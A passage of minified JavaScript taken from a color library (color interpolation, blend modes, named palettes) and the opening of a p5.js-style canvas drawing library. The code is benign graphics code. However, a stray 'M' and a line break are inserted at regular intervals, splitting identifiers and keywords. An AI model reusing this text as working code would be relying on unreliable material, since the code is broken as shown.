],l=c[2];return new In(An(Dn(a,2)*(1-t)+Dn(u,2)*t),An(Dn(f,2)*(1-t)+Dn(i,2)*t),An(Dn(o,2)*(1-t)+Dn(l,2)*t),"rgb")};var Cn=v;_n.lab=function(r,e,t){var n=r.lab(),a=e.lab();return new Cn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"lab")};var Yn=v,Sn=function(r,e,t,n){var a,f,o,c,u,i,l,d,h,b,s,p,g;return"hsl"===n?(o=r.hsl(),c=e.hsl()):"hsv"===n?(o=r.hsv(),c=e.hsv()):"hcg"===n?(o=r.hcg(),c=e.hcg()):"hsi"===n?(o=r.hsi(),c=e.hsi()):"lch"===n||"hcl"===n?(n="hcl",o=r.hcl(),c=e.hcl()):"oklch"===n&&(o=r.oklch()M
.reverse(),c=e.oklch().reverse()),"h"!==n.substr(0,1)&&"oklch"!==n||(u=(a=o)[0],l=a[1],h=a[2],i=(f=c)[0],d=f[1],b=f[2]),isNaN(u)||isNaN(i)?isNaN(u)?isNaN(i)?p=Number.NaN:(p=i,1!=h&&0!=h||"hsv"==n||(s=d)):(p=u,1!=b&&0!=b||"hsv"==n||(s=l)):p=u+t*(i>u&&i-u>180?i-(u+360):i<u&&u-i>180?i+360-u:i-u),void 0===s&&(s=l+t*(d-l)),g=h+t*(b-h),new Yn("oklch"===n?[g,s,p]:[p,s,g],n)},Ln=Sn,$n=function(r,e,t){return Ln(r,e,t,"lch")};_n.lch=$n,_n.hcl=$n;var Tn=v;_n.num=function(r,e,t){var n=r.num(),a=e.num();return new Tn(n+t*(a-n),M
"num")};var Kn=Sn;_n.hcg=function(r,e,t){return Kn(r,e,t,"hcg")};var Wn=Sn;_n.hsi=function(r,e,t){return Wn(r,e,t,"hsi")};var Xn=Sn;_n.hsl=function(r,e,t){return Xn(r,e,t,"hsl")};var Zn=Sn;_n.hsv=function(r,e,t){return Zn(r,e,t,"hsv")};var Hn=v;_n.oklab=function(r,e,t){var n=r.oklab(),a=e.oklab();return new Hn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"oklab")};var zn=Sn;_n.oklch=function(r,e,t){return zn(r,e,t,"oklch")};Math.pow,Math.sqrt,Math.PI,Math.cos,Math.sin,Math.atan2,Math.pow;var Un=m,Vn=funM
ction(r,e,t){if(!Vn[t])throw new Error("unknown blend mode "+t);return Vn[t](r,e)},Jn=function(r){return function(e,t){var n=Un(t).rgb(),a=Un(e).rgb();return Un.rgb(r(n,a))}},Qn=function(r){return function(e,t){var n=[];return n[0]=r(e[0],t[0]),n[1]=r(e[1],t[1]),n[2]=r(e[2],t[2]),n}};Vn.normal=Jn(Qn(function(r){return r})),Vn.multiply=Jn(Qn(function(r,e){return r*e/255})),Vn.screen=Jn(Qn(function(r,e){return 255*(1-(1-r/255)*(1-e/255))})),Vn.overlay=Jn(Qn(function(r,e){return e<128?2*r*e/255:255*(1-2*(1-r/255)*(1-eM
/255))})),Vn.darken=Jn(Qn(function(r,e){return r>e?e:r})),Vn.lighten=Jn(Qn(function(r,e){return r>e?r:e})),Vn.dodge=Jn(Qn(function(r,e){return 255===r?255:(r=e/255*255/(1-r/255))>255?255:r})),Vn.burn=Jn(Qn(function(r,e){return 255*(1-(1-e/255)/(r/255))}));Math.pow,Math.sin,Math.cos,Math.floor,Math.random,Math.log,Math.pow,Math.floor,Math.abs,Math.sqrt,Math.pow,Math.min,Math.max,Math.atan2,Math.abs,Math.cos,Math.sin,Math.exp,Math.PI;for(var ra={OrRd:["#fff7ec","#fee8c8","#fdd49e","#fdbb84","#fc8d59","#ef6548","#d730M
1f","#b30000","#7f0000"],PuBu:["#fff7fb","#ece7f2","#d0d1e6","#a6bddb","#74a9cf","#3690c0","#0570b0","#045a8d","#023858"],BuPu:["#f7fcfd","#e0ecf4","#bfd3e6","#9ebcda","#8c96c6","#8c6bb1","#88419d","#810f7c","#4d004b"],Oranges:["#fff5eb","#fee6ce","#fdd0a2","#fdae6b","#fd8d3c","#f16913","#d94801","#a63603","#7f2704"],BuGn:["#f7fcfd","#e5f5f9","#ccece6","#99d8c9","#66c2a4","#41ae76","#238b45","#006d2c","#00441b"],YlOrBr:["#ffffe5","#fff7bc","#fee391","#fec44f","#fe9929","#ec7014","#cc4c02","#993404","#662506"],YlGn:M
["#ffffe5","#f7fcb9","#d9f0a3","#addd8e","#78c679","#41ab5d","#238443","#006837","#004529"],Reds:["#fff5f0","#fee0d2","#fcbba1","#fc9272","#fb6a4a","#ef3b2c","#cb181d","#a50f15","#67000d"],RdPu:["#fff7f3","#fde0dd","#fcc5c0","#fa9fb5","#f768a1","#dd3497","#ae017e","#7a0177","#49006a"],Greens:["#f7fcf5","#e5f5e0","#c7e9c0","#a1d99b","#74c476","#41ab5d","#238b45","#006d2c","#00441b"],YlGnBu:["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"],Purples:["#fcfbfd","#efedf5","#dadaeM
b","#bcbddc","#9e9ac8","#807dba","#6a51a3","#54278f","#3f007d"],GnBu:["#f7fcf0","#e0f3db","#ccebc5","#a8ddb5","#7bccc4","#4eb3d3","#2b8cbe","#0868ac","#084081"],Greys:["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"],YlOrRd:["#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"],PuRd:["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"],Blues:["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6M
","#2171b5","#08519c","#08306b"],PuBuGn:["#fff7fb","#ece2f0","#d0d1e6","#a6bddb","#67a9cf","#3690c0","#02818a","#016c59","#014636"],Viridis:["#440154","#482777","#3f4a8a","#31678e","#26838f","#1f9d8a","#6cce5a","#b6de2b","#fee825"],Spectral:["#9e0142","#d53e4f","#f46d43","#fdae61","#fee08b","#ffffbf","#e6f598","#abdda4","#66c2a5","#3288bd","#5e4fa2"],RdYlGn:["#a50026","#d73027","#f46d43","#fdae61","#fee08b","#ffffbf","#d9ef8b","#a6d96a","#66bd63","#1a9850","#006837"],RdBu:["#67001f","#b2182b","#d6604d","#f4a582","#M
fddbc7","#f7f7f7","#d1e5f0","#92c5de","#4393c3","#2166ac","#053061"],PiYG:["#8e0152","#c51b7d","#de77ae","#f1b6da","#fde0ef","#f7f7f7","#e6f5d0","#b8e186","#7fbc41","#4d9221","#276419"],PRGn:["#40004b","#762a83","#9970ab","#c2a5cf","#e7d4e8","#f7f7f7","#d9f0d3","#a6dba0","#5aae61","#1b7837","#00441b"],RdYlBu:["#a50026","#d73027","#f46d43","#fdae61","#fee090","#ffffbf","#e0f3f8","#abd9e9","#74add1","#4575b4","#313695"],BrBG:["#543005","#8c510a","#bf812d","#dfc27d","#f6e8c3","#f5f5f5","#c7eae5","#80cdc1","#35978f","#M
01665e","#003c30"],RdGy:["#67001f","#b2182b","#d6604d","#f4a582","#fddbc7","#ffffff","#e0e0e0","#bababa","#878787","#4d4d4d","#1a1a1a"],PuOr:["#7f3b08","#b35806","#e08214","#fdb863","#fee0b6","#f7f7f7","#d8daeb","#b2abd2","#8073ac","#542788","#2d004b"],Set2:["#66c2a5","#fc8d62","#8da0cb","#e78ac3","#a6d854","#ffd92f","#e5c494","#b3b3b3"],Accent:["#7fc97f","#beaed4","#fdc086","#ffff99","#386cb0","#f0027f","#bf5b17","#666666"],Set1:["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#ffff33","#a65628","#f781bf","#999M
999"],Set3:["#8dd3c7","#ffffb3","#bebada","#fb8072","#80b1d3","#fdb462","#b3de69","#fccde5","#d9d9d9","#bc80bd","#ccebc5","#ffed6f"],Dark2:["#1b9e77","#d95f02","#7570b3","#e7298a","#66a61e","#e6ab02","#a6761d","#666666"],Paired:["#a6cee3","#1f78b4","#b2df8a","#33a02c","#fb9a99","#e31a1c","#fdbf6f","#ff7f00","#cab2d6","#6a3d9a","#ffff99","#b15928"],Pastel2:["#b3e2cd","#fdcdac","#cbd5e8","#f4cae4","#e6f5c9","#fff2ae","#f1e2cc","#cccccc"],Pastel1:["#fbb4ae","#b3cde3","#ccebc5","#decbe4","#fed9a6","#ffffcc","#e5d8bd","M
#fddaec","#f2f2f2"]},ea=0,ta=Object.keys(ra);ea<ta.length;ea+=1){var na=ta[ea];ra[na.toLowerCase()]=ra[na]}return m});
function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HSVM
=1;n.HSB=1;n.CHORD=0;n.PIE=1;n.OPEN=2;n.RADIUS=1;n.CORNER=2;n.CORNERS=3;n.ROUND="round";n.SQUARE="butt";n.PROJECT="square";n.MITER="miter";n.BEVEL="bevel";n.CLOSE=1;n.BLEND="source-over";n.REMOVE="destination-out";n.ADD="lighter";n.DARKEST="darken";n.LIGHTEST="lighten";n.DIFFERENCE="difference";n.SUBTRACT="subtract";n.EXCLUSION="exclusion";n.MULTIPLY="multiply";n.SCREEN="screen";n.REPLACE="copy";n.OVERLAY="overlay";n.HARD_LIGHT="hard-light";n.SOFT_LIGHT="soft-light";n.DODGE="color-dodge";n.BURN="color-burn";n.NORMAM
L="normal";n.ITALIC="italic";n.BOLD="bold";n.BOLDITALIC="italic bold";n.CENTER="center";n.LEFT="left";n.RIGHT="right";n.TOP="top";n.BOTTOM="bottom";n.BASELINE="alphabetic";n.LANDSCAPE="landscape";n.PORTRAIT="portrait";n.ALT=18;n.BACKSPACE=8;n.CONTROL=17;n.DELETE=46;n.DOWN_ARROW=40;n.ENTER=13;n.ESCAPE=27;n.LEFT_ARROW=37;n.OPTION=18;n.RETURN=13;n.RIGHT_ARROW=39;n.SHIFT=16;n.TAB=9;n.UP_ARROW=38;n.HALF_PI=Math.PI/2;n.PI=Math.PI;n.QUARTER_PI=Math.PI/4;n.TAU=2*Math.PI;n.TWO_PI=2*Math.PI;n.THRESHOLD=1;n.GRAY=2;n.OPAQUE=3;M
n.INVERT=4;n.POSTERIZE=5;n.DILATE=6;n.ERODE=7;n.BLUR=8;n.ARROW="default";n.CROSS="crosshair";n.HAND="pointer";n.MOVE="move";n.TEXT="text";n.VIDEO={video:!0,audio:!1};n.AUDIO={video:!1,audio:!0};n.SHR3=1;n.LCG=2;n.HARDWARE_FILTERS=!0;n.hint=function(e,t){n[e]=t};n.frameCount=0;n.mouseX=0;n.mouseY=0;n.pmouseX=0;n.pmouseY=0;n.mouseButton=null;n.keyIsPressed=!1;n.mouseIsPressed=!1;n.key=null;n.keyCode=null;n.pixels=null;n.accelerationX=0;n.accelerationY=0;n.accelerationZ=0;n.rotationX=0;n.rotationY=0;n.rotationZ=0;n.reM
lRotationX=0;n.relRotationY=0;n.relRotationZ=0;n.pAccelerationX=0;n.pAccelerationY=0;n.pAccelerationZ=0;n.pRotationX=0;n.pRotationY=0;n.pRotationZ=0;n.pRelRotationX=0;n.pRelRotationY=0;n.pRelRotationZ=0;n.touches=[];n._colorMode=n.RGB;n._noStroke=!1;n._noFill=!1;n._ellipseMode=n.CENTER;n._rectMode=n.CORNER;n._curveDetail=20;n._curveAlpha=0;n._noLoop=!1;n._textFont="sans-serif";n._textSize=12;n._textLeading=12;n._textStyle="normal";n._pixelDensity=1;n._frameRate=null;n._tint=null;let a=null;let r=!0;let i=[];let l=nM
ull;let u=0;let s={};let c=0;let h=null;let f=null;let d=null;Object.defineProperty(n,"deviceOrientation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}});Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}});Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}});Object.defineProperty(n,"drawingContext",{get:function(){return o}});n.createCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,m()};n.resizM
eCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t};n.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o};n.pixelDensity=function(e){return null==e?n._pixelDensity:(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),m(),n._pixelDensity)};n.map=function(e,t,n,o,a,r){let i=o+1*(e-t)/(nM
-t)*(a-o);return r?o<a?Math.min(Math.max(i,o),a):Math.min(Math.max(i,a),o):i};n.lerp=function(e,t,n){return e*(1-n)+t*n};n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)};n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])};n.norm=function(e,t,o){return n.map(e,t,o,0,1)};n.sq=function(e){return e*e};n.fract=function(e){return e-Math.floor(e)};n.degrees=functiM
on(e){return 180*e/Math.PI};n.radians=function(e){return e*Math.PI/180};n.abs=Math.abs;n.ceil=Math.ceil;n.exp=Math.exp;n.floor=Math.floor;n.log=Math.log;n.mag=Math.hypot;n.max=Math.max;n.min=Math.min;n.round=Math.round;n.sqrt=Math.sqrt;n.sin=Math.sin;n.cos=Math.cos;n.tan=Math.tan;n.asin=Math.asin;n.acos=Math.acos;n.atan=Math.atan;n.atan2=Math.atan2;n.Vector=function(e,t,o){let a=this;a.x=e||0,a.y=t||0,a.z=o||0;let r=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function u()M
{null==i&&(i=a.x*a.x+a.y*a.y+a.z*a.z,r=Math.sqrt(i))}function s(){i=null,r=null}a.set=function(e,t,n){a.x=e||0,a.y=t||0,a.z=n||0},a.copy=function(){return new n.Vector(a.x,a.y,a.z)},a.add=function(){let e=l.apply(null,arguments);return a.x+=e.x,a.y+=e.y,a.z+=e.z,s(),a},a.rem=function(){let e=l.apply(null,arguments);return a.x%=e.x,a.y%=e.y,a.z%=e.z,s(),a},a.sub=function(){let e=l.apply(null,arguments);return a.x-=e.x,a.y-=e.y,a.z-=e.z,s(),a},a.mult=function(){let e=l.apply(null,arguments);return a.x*=e.x,a.y*=e.y,aM
.z*=e.z,s(),a},a.div=function(){let e=l.apply(null,arguments);return a.x/=e.x,a.y/=e.y,a.z/=e.z,s(),a},a.mag=function(){return u(),r},a.magSq=function(){return u(),i},a.dot=function(){let e=l.apply(null,arguments);return a.x*e.x+a.y*e.y+a.z*e.z},a.dist=function(){let e=l.apply(null,arguments),t=a.x-e.x,n=a.y-e.y,o=a.z-e.z;return Math.sqrt(t*t+n*n+o*o)},a.cross=function(){let e=l.apply(null,arguments),t=a.y*e.z-a.z*e.y,n=a.z*e.x-a.x*e.z,o=a.x*e.y-a.y*e.x;return a.x=t,a.y=n,a.z=o,s(),a},a.normalize=function(){u();letM
 e=r;return a.x/=e,a.y/=e,a.z/=e,r=1,i=1,a},a.limit=function(e){u();let t=r;if(t>e){let n=e/t;a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e}return a},a.setMag=function(e){u();let t=r,n=e/t;return a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e,a},a.heading=function(){return Math.atan2(a.y,a.x)},a.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=a.x*t-a.y*n,r=a.x*n+a.y*t;return a.x=o,a.y=r,a},a.angleBetween=function(){let e=l.apply(null,arguments);const t=a.dot(e)/(a.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*=Math.sM
ign(a.cross(e).z||1)},a.lerp=function(e,t){return a.x=a.x*(1-t)+e.x*t,a.y=a.y*(1-t)+e.y*t,a.z=a.z*(1-t)+e.z*t,s(),a},a.reflect=function(e){return e.normalize(),a.sub(e.mult(2*a.dot(e)))},a.array=function(){return[a.x,a.y,a.z]},a.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-a.x)<t&&Math.abs(e.y-a.y)<t&&Math.abs(e.z-a.z)<t},a.fromAngle=function(e,t){return null==t&&(t=1),r=t,i=t*t,a.x=t*Math.cos(e),a.y=t*Math.sin(e),a.z=0,a},a.fromAngles=function(e,t,n){null==n&&(n=1),r=n,i=n*n;coM
nst o=Math.cos(t),l=Math.sin(t),u=Math.cos(e),s=Math.sin(e);return a.x=n*s*l,a.y=-n*u,a.z=n*s*o,a},a.random2D=function(){return r=1,i=1,a.fromAngle(Math.random()*Math.PI*2)},a.random3D=function(){return r=1,i=1,a.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},a.toString=function(){return`[${a.x}, ${a.y}, ${a.z}]`}};n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)};n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)};n.Vector.sub=function(e,t){return new n.VecM
tor(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):new n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)};n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)};n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)};n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.M
z=e.z*(1-o)+t.z*o)};n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAngles","random2D","random3D"])n.Vector[e]=function(t,o,a){return(new n.Vector)[e](t,o,a)};n.createVector=function(e,t,o){return new n.Vector(e,t,o)};n.curvePoint=function(e,t,n,o,a){const r=a*a*a,i=a*a,l=-.5*r+i-.5*a,u=1.5*r-2.5*i+1,s=-1.5*r+2*i+.5*a,c=.5*r-.5*i;return e*l+t*u+n*s+o*c};n.bezierPoint=function(e,t,n,o,a){const r=1-a;return Math.pow(r,3)*e+3*Math.pow(r,2)*a*t+3*r*Math.pow(a,2)*n+Math.pow(a,3)*o};n.M
curveTangent=function(e,t,n,o,a){const r=a*a,i=-3*r/2+2*a-.5,l=9*r/2-5*a,u=-9*r/2+4*a+.5,s=3*r/2-a;return e*i+t*l+n*u+o*s};n.bezierTangent=function(e,t,n,o,a){const r=1-a;return 3*o*Math.pow(a,2)-3*n*Math.pow(a,2)+6*n*r*a-6*t*r*a+3*t*Math.pow(r,2)-3*e*Math.pow(r,2)};function p(e,t,n){let o,a,r,i,l,u,s,c,h;if(0==t)return[255*(o=n),255*(a=n),255*(r=n)];switch((i=e)>360&&(i=0),s=n*(1-t),c=n*(1-t*(u=(i/=60)-(l=~~i))),h=n*(1-t*(1-u)),l){case 0:o=n,a=h,r=s;break;case 1:o=c,a=n,r=s;break;case 2:o=s,a=n,r=h;break;case 3:o=M
s,a=c,r=n;break;case 4:o=h,a=s,r=n;break;default:o=n,a=s,r=c}return[255*o,255*a,255*r]}n.Color=function(e,t,n,o){let a=this;a.MAGIC=786698,a._r=e,a._g=t,a._b=n,a._a=o,a._h=0,a._s=0,a._v=0,a._hsvInferred=!1,a.setRed=function(e){a._r=e,a._hsvInferred=!1},a.setGreen=function(e){a._g=e,a._hsvInferred=!1},a.setBlue=function(e){a._b=e,a._hsvInferred=!1},a.setAlpha=function(e){a._a=e/255,a._hsvInferred=!1},a._inferHSV=function(){a._hsvInferred||([a._h,a._s,a._v]=function(e,t,n){let o,a,r,i,l;if(o=e<t?e<n?e:n:t<n?t:n,0==(lM
=100*(a=e>t?e>n?e:n:t>n?t:n)/255))return[r=0,i=0,l];if(0==(i=100*(a-o)/a))return[r=0,i,l];r=a==e?0+60*(t-n)/(a-o):a==t?120+60*(n-e)/(a-o):240+60*(e-t)/(a-o);return[r,i,l]}(a._r,a._g,a._b),a._hsvInferred=!0)},a.toString=function(){return`rgba(${Math.round(a._r)},${Math.round(a._g)},${Math.round(a._b)},${~~(1e3*a._a)/1e3})`}};n.colorMode=function(e){n._colorMode=e};n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGIC)return arguments[0];if(n._colorMode==n.RGB){if(1==arguments.length)return new n.ColoM
r(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return M
new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null};n.red=function(e){return e._r};n.green=function(e){return e._g};n.blue=function(e){return e._b};n.alpha=function(e){return 255*e._a};n.hue=function(e){return e._inferHSV(),e._h};n.saturation=function(e){return e._inferHSV(),e._s};n.brightness=function(e){return e._inferHSV(),e._v};n.lightness=function(e){return 100*(.2126*e._r+.M
7152*e._g+.0722*e._b)/255};n.lerpColor=function(e,t,o){return n._colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var a=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.map(o,0,1,e,t-360)]];return a.sort((e,t)=>e[0]-t[0]),(a[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrM
ain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))};function m(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}n.strokeWeight=function(e){n._noStroke=!1,o.lineWidth=e};n.stroke=function(){if(n._noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noStroke=!0:o.strokeStyle=e};n.noStroke=function(){n._noStroke=!0};n.fill=function(){if(n._noFill=!1,"striM
ng"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noFill=!0:o.fillStyle=e};n.noFill=function(){n._noFill=!0};n.blendMode=function(e){o.globalCompositeOperation=e};n.strokeCap=function(e){o.lineCap=e};n.strokeJoin=function(e){o.lineJoin=e};n.ellipseMode=function(e){n._ellipseMode=e};n.rectMode=function(e){n._rectMode=e};n.curveDetail=function(e){n._curveDetail=e};n.curveAlpha=function(e){n._curveAlpha=e};n.curveTightness=function(e){console.warn("curveTightM
ness() sets the 'alpha' parameter of Catmull-Rom curve, and is NOT identical to p5.js counterpart. As this might change in the future, please call curveAlpha() directly."),n._curveAlpha=e};n.clear=function(){o.clearRect(0,0,n.width,n.height)};n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),"string"==typeof arguments[0]?o.fillStyle=arguments[0]:o.fillStyle=n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.heigM
ht),o.restore()};n.line=function(e,t,a,r){n._noStroke||(o.beginPath(),o.moveTo(e,t),o.lineTo(a,r),o.stroke())};function g(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function v(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;let c=g(i),h=g(l);o.beginPath();for(let i=0;i<s+1;i++){let l=i/s,u=n.lerp(c,h,l),f=Math.cos(u)*a/2,d=Math.sin(u)*r/2;o[i?"lineTo":"moveTo"](e+f,t+d)}u==n.CHORD?o.closePath():u==n.PIE&&(o.lineTo(e,t),o.closePath()),n._noFill||o.fill(),n._noStrM
oke||o.stroke()}n.arc=function(e,t,o,a,r,i,l,u){if(r==i)return n.ellipse(e,t,o,a);null==u&&(u=25),null==l&&(l=n.PIE),n._ellipseMode==n.CENTER?v(e,t,o,a,r,i,l,u):n._ellipseMode==n.RADIUS?v(e,t,2*o,2*a,r,i,l,u):n._ellipseMode==n.CORNER?v(e+o/2,t+a/2,o,a,r,i,l,u):n._ellipseMode==n.CORNERS&&v((e+o)/2,(t+a)/2,o-e,a-t,r,i,l,u)};function M(e,t,a,r){n._noFill&&n._noStroke||(o.beginPath(),o.ellipse(e,t,a/2,r/2,0,0,2*Math.PI),n._noFill||o.fill(),n._noStroke||o.stroke())}n.ellipse=function(e,t,o,a){null==a&&(a=o),n._ellipseMoM
de==n.CENTER?M(e,t,o,a):n._ellipseMode==n.RADIUS?M(e,t,2*o,2*a):n._ellipseMode==n.CORNER?M(e+o/2,t+a/2,o,a):n._ellipseMode==n.CORNERS&&M((e+o)/2,(t+a)/2,o-e,a-t)};n.circle=function(e,t,o){return n.ellipse(e,t,o,o)};n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()};function _(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;if(null==i)return function(e,t,a,r){n._noFill||o.fillRect(e,t,a,r);n._noStroke||o.strokeRect(e,t,a,r)}(e,t,a,r);if(null==l)return _(e,t,a,r,i,M
i,i,i);const c=Math.min(Math.abs(r),Math.abs(a))/2;i=Math.min(c,i),l=Math.min(c,l),s=Math.min(c,s),u=Math.min(c,u),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+a,t,e+a,t+r,l),o.arcTo(e+a,t+r,e,t+r,u),o.arcTo(e,t+r,e,t,s),o.arcTo(e,t,e+a,t,i),o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke()}n.rect=function(e,t,o,a,r,i,l,u){n._rectMode==n.CENTER?_(e-o/2,t-a/2,o,a,r,i,l,u):n._rectMode==n.RADIUS?_(e-o,t-a,2*o,2*a,r,i,l,u):n._rectMode==n.CORNER?_(e,t,o,a,r,i,l,u):n._rectMode==n.CORNERS&&_(e,t,o-e,a-t,r,i,l,u)};n.squM
are=function(e,t,o,a,r,i,l){return n.rect(e,t,o,o,a,r,i,l)};function x(){i=[]}n.beginShape=function(){x(),o.beginPath(),r=!0};n.beginContour=function(){o.closePath(),x(),r=!0};n.endContour=function(){x(),r=!0};n.vertex=function(e,t){x(),r?o.moveTo(e,t):o.lineTo(e,t),r=!1};n.bezierVertex=function(e,t,n,a,r,i){x(),o.bezierCurveTo(e,t,n,a,r,i)};n.quadraticVertex=function(e,t,n,a){x(),o.quadraticCurveTo(e,t,n,a)};n.bezier=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,a,r,i,l,u),n.endShape()};nM
.triangle=function(e,t,o,a,r,i){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.endShape(n.CLOSE)};n.quad=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.vertex(l,u),n.endShape(n.CLOSE)};n.endShape=function(e){x(),e&&o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke(),n._noFill&&n._noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())};n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let a=i[i.length-4],l=i[i.length-3],u=i[i.length-2],s=i[i.M
length-1],c=function(e,t,n,o,a,r,i,l,u,s){function c(e,t,n,o,a,r){let i=Math.pow(o-t,2)+Math.pow(a-n,2),l=Math.pow(i,.5*r);return l+e}let h=[],f=c(0,e,t,n,o,s),d=c(f,n,o,a,r,s),p=c(d,a,r,i,l,s);for(let s=0;s<u;s++){let c=f+s/(u-1)*(d-f),m=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<m.length;e+=2)isNaN(m[e])&&(m[e]=1,m[e+1]=0),isFinite(m[e])||(m[e]>0?(m[e]=1,m[e+1]=0):(m[e]=0,m[e+1]=1));let g=e*m[0]+n*m[1],v=t*m[0]+o*m[1],M=nM
